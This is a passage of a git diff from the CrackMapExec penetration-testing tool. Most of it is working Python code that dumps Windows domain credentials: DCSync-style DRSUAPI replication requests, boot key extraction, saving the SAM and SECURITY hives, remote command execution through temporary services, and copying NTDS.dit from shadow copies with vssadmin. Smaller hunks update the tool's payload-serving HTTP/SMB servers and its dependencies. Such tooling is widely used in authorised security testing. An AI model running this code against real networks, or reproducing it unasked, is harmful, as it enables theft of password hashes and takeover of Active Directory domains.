serverHandle = resp['ServerHandle']
|
|
||||||
|
|
||||||
resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
|
|
||||||
resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
|
|
||||||
self.__domainHandle = resp['DomainHandle']
|
|
||||||
self.__domainName = domain
|
|
||||||
|
|
||||||
def __connectDrds(self):
|
|
||||||
stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
|
|
||||||
protocol='ncacn_ip_tcp')
|
|
||||||
rpc = transport.DCERPCTransportFactory(stringBinding)
|
|
||||||
if hasattr(rpc, 'set_credentials'):
|
|
||||||
# This method exists only for selected protocol sequences.
|
|
||||||
rpc.set_credentials(*(self.__smbConnection.getCredentials()))
|
|
||||||
rpc.set_kerberos(self.__doKerberos)
|
|
||||||
self.__drsr = rpc.get_dce_rpc()
|
|
||||||
self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
|
||||||
if self.__doKerberos:
|
|
||||||
self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
||||||
self.__drsr.connect()
|
|
||||||
self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
|
|
||||||
|
|
||||||
request = drsuapi.DRSBind()
|
|
||||||
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
|
|
||||||
drs = drsuapi.DRS_EXTENSIONS_INT()
|
|
||||||
drs['cb'] = len(drs) #- 4
|
|
||||||
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION
|
|
||||||
drs['SiteObjGuid'] = drsuapi.NULLGUID
|
|
||||||
drs['Pid'] = 0
|
|
||||||
drs['dwReplEpoch'] = 0
|
|
||||||
drs['dwFlagsExt'] = 0
|
|
||||||
drs['ConfigObjGUID'] = drsuapi.NULLGUID
|
|
||||||
drs['dwExtCaps'] = 127
|
|
||||||
request['pextClient']['cb'] = len(drs)
|
|
||||||
request['pextClient']['rgb'] = list(str(drs))
|
|
||||||
resp = self.__drsr.request(request)
|
|
||||||
if logging.getLogger().level == logging.DEBUG:
|
|
||||||
logging.debug('DRSBind() answer')
|
|
||||||
resp.dump()
|
|
||||||
|
|
||||||
self.__hDrs = resp['phDrs']
|
|
||||||
|
|
||||||
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
|
|
||||||
resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
|
|
||||||
if logging.getLogger().level == logging.DEBUG:
|
|
||||||
logging.debug('DRSDomainControllerInfo() answer')
|
|
||||||
resp.dump()
|
|
||||||
|
|
||||||
if resp['pmsgOut']['V2']['cItems'] > 0:
|
|
||||||
self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
|
|
||||||
else:
|
|
||||||
logging.error("Couldn't get DC info for domain %s" % self.__domainName)
|
|
||||||
raise Exception('Fatal, aborting')
|
|
||||||
|
|
||||||
def getDrsr(self):
|
|
||||||
return self.__drsr
|
|
||||||
|
|
||||||
def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
|
|
||||||
formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
|
|
||||||
if self.__drsr is None:
|
|
||||||
self.__connectDrds()
|
|
||||||
|
|
||||||
resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
|
|
||||||
return resp
|
|
||||||
|
|
||||||
def DRSGetNCChanges(self, userEntry):
|
|
||||||
if self.__drsr is None:
|
|
||||||
self.__connectDrds()
|
|
||||||
|
|
||||||
request = drsuapi.DRSGetNCChanges()
|
|
||||||
request['hDrs'] = self.__hDrs
|
|
||||||
request['dwInVersion'] = 8
|
|
||||||
|
|
||||||
request['pmsgIn']['tag'] = 8
|
|
||||||
request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
|
|
||||||
request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
|
|
||||||
|
|
||||||
dsName = drsuapi.DSNAME()
|
|
||||||
dsName['SidLen'] = 0
|
|
||||||
dsName['Guid'] = drsuapi.NULLGUID
|
|
||||||
dsName['Sid'] = ''
|
|
||||||
dsName['NameLen'] = len(userEntry)
|
|
||||||
dsName['StringName'] = (userEntry + '\x00')
|
|
||||||
|
|
||||||
dsName['structLen'] = len(dsName.getData())
|
|
||||||
|
|
||||||
request['pmsgIn']['V8']['pNC'] = dsName
|
|
||||||
|
|
||||||
request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
|
|
||||||
request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
|
|
||||||
|
|
||||||
request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
|
|
||||||
|
|
||||||
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
|
|
||||||
request['pmsgIn']['V8']['cMaxObjects'] = 1
|
|
||||||
request['pmsgIn']['V8']['cMaxBytes'] = 0
|
|
||||||
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
|
|
||||||
if self.__ppartialAttrSet is None:
|
|
||||||
self.__prefixTable = []
|
|
||||||
self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
|
|
||||||
self.__ppartialAttrSet['dwVersion'] = 1
|
|
||||||
self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
|
|
||||||
for attId in NTDSHashes.ATTRTYP_TO_ATTID.values():
|
|
||||||
self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
|
|
||||||
request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
|
|
||||||
request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
|
|
||||||
request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
|
|
||||||
request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
|
|
||||||
|
|
||||||
return self.__drsr.request(request)
|
|
||||||
|
|
||||||
def getDomainUsers(self, enumerationContext=0):
|
|
||||||
if self.__samr is None:
|
|
||||||
self.connectSamr(self.getMachineNameAndDomain()[1])
|
|
||||||
|
|
||||||
try:
|
|
||||||
resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
|
|
||||||
userAccountControl=samr.USER_NORMAL_ACCOUNT | \
|
|
||||||
samr.USER_WORKSTATION_TRUST_ACCOUNT | \
|
|
||||||
samr.USER_SERVER_TRUST_ACCOUNT |\
|
|
||||||
samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
|
|
||||||
enumerationContext=enumerationContext)
|
|
||||||
except DCERPCException, e:
|
|
||||||
if str(e).find('STATUS_MORE_ENTRIES') < 0:
|
|
||||||
raise
|
|
||||||
resp = e.get_packet()
|
|
||||||
return resp
|
|
||||||
|
|
||||||
def ridToSid(self, rid):
|
|
||||||
if self.__samr is None:
|
|
||||||
self.connectSamr(self.getMachineNameAndDomain()[1])
|
|
||||||
resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
|
|
||||||
return resp['Sid']
|
|
||||||
|
|
||||||
|
|
||||||
def getMachineNameAndDomain(self):
|
|
||||||
if self.__smbConnection.getServerName() == '':
|
|
||||||
# No serverName.. this is either because we're doing Kerberos
|
|
||||||
# or not receiving that data during the login process.
|
|
||||||
# Let's try getting it through RPC
|
|
||||||
rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
|
|
||||||
rpc.set_smb_connection(self.__smbConnection)
|
|
||||||
dce = rpc.get_dce_rpc()
|
|
||||||
dce.connect()
|
|
||||||
dce.bind(wkst.MSRPC_UUID_WKST)
|
|
||||||
resp = wkst.hNetrWkstaGetInfo(dce, 100)
|
|
||||||
dce.disconnect()
|
|
||||||
return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1]
|
|
||||||
else:
|
|
||||||
return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
|
|
||||||
|
|
||||||
def getDefaultLoginAccount(self):
|
|
||||||
try:
|
|
||||||
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
|
|
||||||
keyHandle = ans['phkResult']
|
|
||||||
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
|
|
||||||
username = dataValue[:-1]
|
|
||||||
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
|
|
||||||
domain = dataValue[:-1]
|
|
||||||
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
||||||
if len(domain) > 0:
|
|
||||||
return '%s\\%s' % (domain,username)
|
|
||||||
else:
|
|
||||||
return username
|
|
||||||
except:
|
|
||||||
return None
|
|
||||||
|
|
||||||
def getServiceAccount(self, serviceName):
|
|
||||||
try:
|
|
||||||
# Open the service
|
|
||||||
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
|
|
||||||
serviceHandle = ans['lpServiceHandle']
|
|
||||||
resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
|
|
||||||
account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
|
|
||||||
scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
|
|
||||||
if account.startswith('.\\'):
|
|
||||||
account = account[2:]
|
|
||||||
return account
|
|
||||||
except Exception, e:
|
|
||||||
logging.error(e)
|
|
||||||
return None
|
|
||||||
|
|
||||||
def __checkServiceStatus(self):
|
|
||||||
# Open SC Manager
|
|
||||||
ans = scmr.hROpenSCManagerW(self.__scmr)
|
|
||||||
self.__scManagerHandle = ans['lpScHandle']
|
|
||||||
# Now let's open the service
|
|
||||||
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
|
|
||||||
self.__serviceHandle = ans['lpServiceHandle']
|
|
||||||
# Let's check its status
|
|
||||||
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
|
|
||||||
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
|
|
||||||
logging.info('Service %s is in stopped state'% self.__serviceName)
|
|
||||||
self.__shouldStop = True
|
|
||||||
self.__started = False
|
|
||||||
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
|
|
||||||
logging.debug('Service %s is already running'% self.__serviceName)
|
|
||||||
self.__shouldStop = False
|
|
||||||
self.__started = True
|
|
||||||
else:
|
|
||||||
raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
|
|
||||||
|
|
||||||
# Let's check its configuration if service is stopped, maybe it's disabled :s
|
|
||||||
if self.__started is False:
|
|
||||||
ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
|
|
||||||
if ans['lpServiceConfig']['dwStartType'] == 0x4:
|
|
||||||
logging.info('Service %s is disabled, enabling it'% self.__serviceName)
|
|
||||||
self.__disabled = True
|
|
||||||
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
|
|
||||||
logging.info('Starting service %s' % self.__serviceName)
|
|
||||||
scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
|
|
||||||
sleep(1)
|
|
||||||
|
|
||||||
def enableRegistry(self):
|
|
||||||
self.__connectSvcCtl()
|
|
||||||
self.__checkServiceStatus()
|
|
||||||
self.__connectWinReg()
|
|
||||||
|
|
||||||
def __restore(self):
|
|
||||||
# First of all stop the service if it was originally stopped
|
|
||||||
if self.__shouldStop is True:
|
|
||||||
logging.info('Stopping service %s' % self.__serviceName)
|
|
||||||
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
|
||||||
if self.__disabled is True:
|
|
||||||
logging.info('Restoring the disabled state for service %s' % self.__serviceName)
|
|
||||||
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
|
|
||||||
if self.__serviceDeleted is False:
|
|
||||||
# Check again the service we created does not exist, starting a new connection
|
|
||||||
# Why?.. Hitting CTRL+C might break the whole existing DCE connection
|
|
||||||
try:
|
|
||||||
rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
|
|
||||||
if hasattr(rpc, 'set_credentials'):
|
|
||||||
# This method exists only for selected protocol sequences.
|
|
||||||
rpc.set_credentials(*self.__smbConnection.getCredentials())
|
|
||||||
rpc.set_kerberos(self.__doKerberos)
|
|
||||||
self.__scmr = rpc.get_dce_rpc()
|
|
||||||
self.__scmr.connect()
|
|
||||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
|
||||||
# Open SC Manager
|
|
||||||
ans = scmr.hROpenSCManagerW(self.__scmr)
|
|
||||||
self.__scManagerHandle = ans['lpScHandle']
|
|
||||||
# Now let's open the service
|
|
||||||
resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
|
|
||||||
service = resp['lpServiceHandle']
|
|
||||||
scmr.hRDeleteService(self.__scmr, service)
|
|
||||||
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
|
||||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
|
||||||
scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
|
|
||||||
scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
|
|
||||||
rpc.disconnect()
|
|
||||||
except Exception, e:
|
|
||||||
# If service is stopped it'll trigger an exception
|
|
||||||
# If service does not exist it'll trigger an exception
|
|
||||||
# So. we just wanna be sure we delete it, no need to
|
|
||||||
# show this exception message
|
|
||||||
pass
|
|
||||||
|
|
||||||
def finish(self):
|
|
||||||
self.__restore()
|
|
||||||
if self.__rrp is not None:
|
|
||||||
self.__rrp.disconnect()
|
|
||||||
if self.__drsr is not None:
|
|
||||||
self.__drsr.disconnect()
|
|
||||||
if self.__samr is not None:
|
|
||||||
self.__samr.disconnect()
|
|
||||||
if self.__scmr is not None:
|
|
||||||
self.__scmr.disconnect()
|
|
||||||
|
|
||||||
def getBootKey(self):
|
|
||||||
bootKey = ''
|
|
||||||
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
||||||
self.__regHandle = ans['phKey']
|
|
||||||
for key in ['JD','Skew1','GBG','Data']:
|
|
||||||
logging.debug('Retrieving class info for %s'% key)
|
|
||||||
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
|
|
||||||
keyHandle = ans['phkResult']
|
|
||||||
ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
|
|
||||||
bootKey = bootKey + ans['lpClassOut'][:-1]
|
|
||||||
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
||||||
|
|
||||||
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
|
|
||||||
|
|
||||||
bootKey = unhexlify(bootKey)
|
|
||||||
|
|
||||||
for i in xrange(len(bootKey)):
|
|
||||||
self.__bootKey += bootKey[transforms[i]]
|
|
||||||
|
|
||||||
logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))
|
|
||||||
|
|
||||||
return self.__bootKey
|
|
||||||
|
|
||||||
def checkNoLMHashPolicy(self):
|
|
||||||
logging.debug('Checking NoLMHash Policy')
|
|
||||||
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
||||||
self.__regHandle = ans['phKey']
|
|
||||||
|
|
||||||
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
|
|
||||||
keyHandle = ans['phkResult']
|
|
||||||
try:
|
|
||||||
dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
|
|
||||||
except:
|
|
||||||
noLMHash = 0
|
|
||||||
|
|
||||||
if noLMHash != 1:
|
|
||||||
logging.debug('LMHashes are being stored')
|
|
||||||
return False
|
|
||||||
|
|
||||||
logging.debug('LMHashes are NOT being stored')
|
|
||||||
return True
|
|
||||||
|
|
||||||
def __retrieveHive(self, hiveName):
|
|
||||||
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
|
|
||||||
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
||||||
regHandle = ans['phKey']
|
|
||||||
try:
|
|
||||||
ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
|
|
||||||
except:
|
|
||||||
raise Exception("Can't open %s hive" % hiveName)
|
|
||||||
keyHandle = ans['phkResult']
|
|
||||||
rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
|
|
||||||
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
||||||
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
|
|
||||||
# Now let's open the remote file, so it can be read later
|
|
||||||
remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
|
|
||||||
return remoteFileName
|
|
||||||
|
|
||||||
def saveSAM(self):
|
|
||||||
logging.debug('Saving remote SAM database')
|
|
||||||
return self.__retrieveHive('SAM')
|
|
||||||
|
|
||||||
def saveSECURITY(self):
|
|
||||||
logging.debug('Saving remote SECURITY database')
|
|
||||||
return self.__retrieveHive('SECURITY')
|
|
||||||
|
|
||||||
def __executeRemote(self, data):
|
|
||||||
self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
|
|
||||||
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
|
||||||
command += ' & ' + 'del ' + self.__batchFile
|
|
||||||
|
|
||||||
self.__serviceDeleted = False
|
|
||||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command)
|
|
||||||
service = resp['lpServiceHandle']
|
|
||||||
try:
|
|
||||||
scmr.hRStartServiceW(self.__scmr, service)
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
scmr.hRDeleteService(self.__scmr, service)
|
|
||||||
self.__serviceDeleted = True
|
|
||||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
|
||||||
def __answer(self, data):
|
|
||||||
self.__answerTMP += data
|
|
||||||
|
|
||||||
def __getLastVSS(self):
|
|
||||||
self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
|
|
||||||
sleep(5)
|
|
||||||
tries = 0
|
|
||||||
while True:
|
|
||||||
try:
|
|
||||||
self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
|
|
||||||
break
|
|
||||||
except Exception, e:
|
|
||||||
if tries > 30:
|
|
||||||
# We give up
|
|
||||||
raise Exception('Too many tries trying to list vss shadows')
|
|
||||||
if str(e).find('SHARING') > 0:
|
|
||||||
# Stuff didn't finish yet.. wait more
|
|
||||||
sleep(5)
|
|
||||||
tries +=1
|
|
||||||
pass
|
|
||||||
else:
|
|
||||||
raise
|
|
||||||
|
|
||||||
lines = self.__answerTMP.split('\n')
|
|
||||||
lastShadow = ''
|
|
||||||
lastShadowFor = ''
|
|
||||||
|
|
||||||
# Let's find the last one
|
|
||||||
# The string used to search the shadow for drive. Wondering what happens
|
|
||||||
# in other languages
|
|
||||||
SHADOWFOR = 'Volume: ('
|
|
||||||
|
|
||||||
for line in lines:
|
|
||||||
if line.find('GLOBALROOT') > 0:
|
|
||||||
lastShadow = line[line.find('\\\\?'):][:-1]
|
|
||||||
elif line.find(SHADOWFOR) > 0:
|
|
||||||
lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
|
|
||||||
|
|
||||||
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
|
|
||||||
|
|
||||||
return lastShadow, lastShadowFor
|
|
||||||
|
|
||||||
def saveNTDS(self):
|
|
||||||
logging.info('Searching for NTDS.dit')
|
|
||||||
# First of all, let's try to read the target NTDS.dit registry entry
|
|
||||||
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
||||||
regHandle = ans['phKey']
|
|
||||||
try:
|
|
||||||
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
|
|
||||||
keyHandle = ans['phkResult']
|
|
||||||
except:
|
|
||||||
# Can't open the registry path, assuming no NTDS on the other end
|
|
||||||
return None
|
|
||||||
|
|
||||||
try:
|
|
||||||
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
|
|
||||||
ntdsLocation = dataValue[:-1]
|
|
||||||
ntdsDrive = ntdsLocation[:2]
|
|
||||||
except:
|
|
||||||
# Can't open the registry path, assuming no NTDS on the other end
|
|
||||||
return None
|
|
||||||
|
|
||||||
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
||||||
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
|
|
||||||
|
|
||||||
logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
|
|
||||||
# Get the list of remote shadows
|
|
||||||
shadow, shadowFor = self.__getLastVSS()
|
|
||||||
if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
|
|
||||||
# No shadow, create one
|
|
||||||
self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
|
|
||||||
shadow, shadowFor = self.__getLastVSS()
|
|
||||||
shouldRemove = True
|
|
||||||
if shadow == '':
|
|
||||||
raise Exception('Could not get a VSS')
|
|
||||||
else:
|
|
||||||
shouldRemove = False
|
|
||||||
|
|
||||||
# Now copy the ntds.dit to the temp directory
|
|
||||||
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
|
|
||||||
|
|
||||||
self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
|
|
||||||
|
|
||||||
if shouldRemove is True:
|
|
||||||
self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)
|
|
||||||
|
|
||||||
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
|
|
||||||
|
|
||||||
remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
|
|
||||||
|
|
||||||
return remoteFileName
|
|
|
@ -5,30 +5,25 @@ import os
|
||||||
import sys
|
import sys
|
||||||
import logging
|
import logging
|
||||||
from BaseHTTPServer import BaseHTTPRequestHandler
|
from BaseHTTPServer import BaseHTTPRequestHandler
|
||||||
from logging import getLogger
|
|
||||||
from gevent import sleep
|
from gevent import sleep
|
||||||
from cme.helpers import highlight
|
from cme.helpers.logger import highlight
|
||||||
from cme.logger import CMEAdapter
|
from cme.logger import CMEAdapter
|
||||||
|
|
||||||
class RequestHandler(BaseHTTPRequestHandler):
|
class RequestHandler(BaseHTTPRequestHandler):
|
||||||
|
|
||||||
def log_message(self, format, *args):
|
def log_message(self, format, *args):
|
||||||
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
|
server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
|
||||||
server_logger.info("- - %s" % (format%args))
|
server_logger.info("- - %s" % (format%args))
|
||||||
|
|
||||||
def do_GET(self):
|
def do_GET(self):
|
||||||
if hasattr(self.server.module, 'on_request'):
|
if hasattr(self.server.module, 'on_request'):
|
||||||
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
|
server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
|
||||||
self.server.context.log = server_logger
|
self.server.context.log = server_logger
|
||||||
|
self.server.module.on_request(self.server.context, self)
|
||||||
launcher = self.server.module.launcher(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command)
|
|
||||||
payload = self.server.module.payload(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command)
|
|
||||||
|
|
||||||
self.server.module.on_request(self.server.context, self, launcher, payload)
|
|
||||||
|
|
||||||
def do_POST(self):
|
def do_POST(self):
|
||||||
if hasattr(self.server.module, 'on_response'):
|
if hasattr(self.server.module, 'on_response'):
|
||||||
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
|
server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
|
||||||
self.server.context.log = server_logger
|
self.server.context.log = server_logger
|
||||||
self.server.module.on_response(self.server.context, self)
|
self.server.module.on_response(self.server.context, self)
|
||||||
|
|
||||||
|
@ -54,6 +49,7 @@ class CMEServer(threading.Thread):
|
||||||
self.server.context = context
|
self.server.context = context
|
||||||
self.server.log = context.log
|
self.server.log = context.log
|
||||||
self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
|
self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
|
||||||
|
self.server.track_host = self.track_host
|
||||||
|
|
||||||
logging.debug('CME server type: ' + server_type)
|
logging.debug('CME server type: ' + server_type)
|
||||||
if server_type == 'https':
|
if server_type == 'https':
|
||||||
|
@ -75,9 +71,9 @@ class CMEServer(threading.Thread):
|
||||||
self.server.hosts.append(host_ip)
|
self.server.hosts.append(host_ip)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
try:
|
try:
|
||||||
self.server.serve_forever()
|
self.server.serve_forever()
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def shutdown(self):
|
def shutdown(self):
|
|
@ -27,9 +27,9 @@ class CMESMBServer(threading.Thread):
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
try:
|
try:
|
||||||
self.server.start()
|
self.server.start()
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def shutdown(self):
|
def shutdown(self):
|
|
@ -1,4 +1,5 @@
|
||||||
impacket>=0.9.15
|
git+https://github.com/CoreSecurity/impacket
|
||||||
|
git+https://github.com/the-useless-one/pywerview
|
||||||
gevent
|
gevent
|
||||||
netaddr
|
netaddr
|
||||||
pycrypto
|
pycrypto
|
||||||
|
|
|
@ -1,14 +1,17 @@
|
||||||
from setuptools import setup, find_packages
|
from setuptools import setup, find_packages
|
||||||
|
|
||||||
setup(name='crackmapexec',
|
setup(name='crackmapexec',
|
||||||
version='3.1.5-dev',
|
version='4.0.0dev',
|
||||||
description='A swiss army knife for pentesting Windows/Active Directory environments',
|
description='A swiss army knife for pentesting networks',
|
||||||
#dependency_links = ['https://github.com/CoreSecurity/impacket/tarball/master#egg=impacket-0.9.16dev'],
|
dependency_links = ['https://github.com/CoreSecurity/impacket/tarball/master#egg=impacket-0.9.16dev',
|
||||||
|
'https://github.com/the-useless-one/pywerview/tarball/master#egg=pywerview-0.1.1'],
|
||||||
classifiers=[
|
classifiers=[
|
||||||
|
'Environment :: Console',
|
||||||
'License :: OSI Approved :: BSD License',
|
'License :: OSI Approved :: BSD License',
|
||||||
'Programming Language :: Python :: 2.7',
|
'Programming Language :: Python :: 2.7',
|
||||||
|
'Topic :: Security',
|
||||||
],
|
],
|
||||||
keywords='pentesting security windows smb active-directory',
|
keywords='pentesting security windows smb active-directory networks',
|
||||||
url='http://github.com/byt3bl33d3r/CrackMapExec',
|
url='http://github.com/byt3bl33d3r/CrackMapExec',
|
||||||
author='byt3bl33d3r',
|
author='byt3bl33d3r',
|
||||||
author_email='byt3bl33d3r@gmail.com',
|
author_email='byt3bl33d3r@gmail.com',
|
||||||
|
@ -17,7 +20,8 @@ setup(name='crackmapexec',
|
||||||
"cme", "cme.*"
|
"cme", "cme.*"
|
||||||
]),
|
]),
|
||||||
install_requires=[
|
install_requires=[
|
||||||
'impacket>=0.9.15',
|
'impacket>=0.9.16dev',
|
||||||
|
'pywerview>=0.1.1',
|
||||||
'gevent',
|
'gevent',
|
||||||
'netaddr',
|
'netaddr',
|
||||||
'pyOpenSSL',
|
'pyOpenSSL',
|
||||||
|
|
Loading…
Reference in New Issue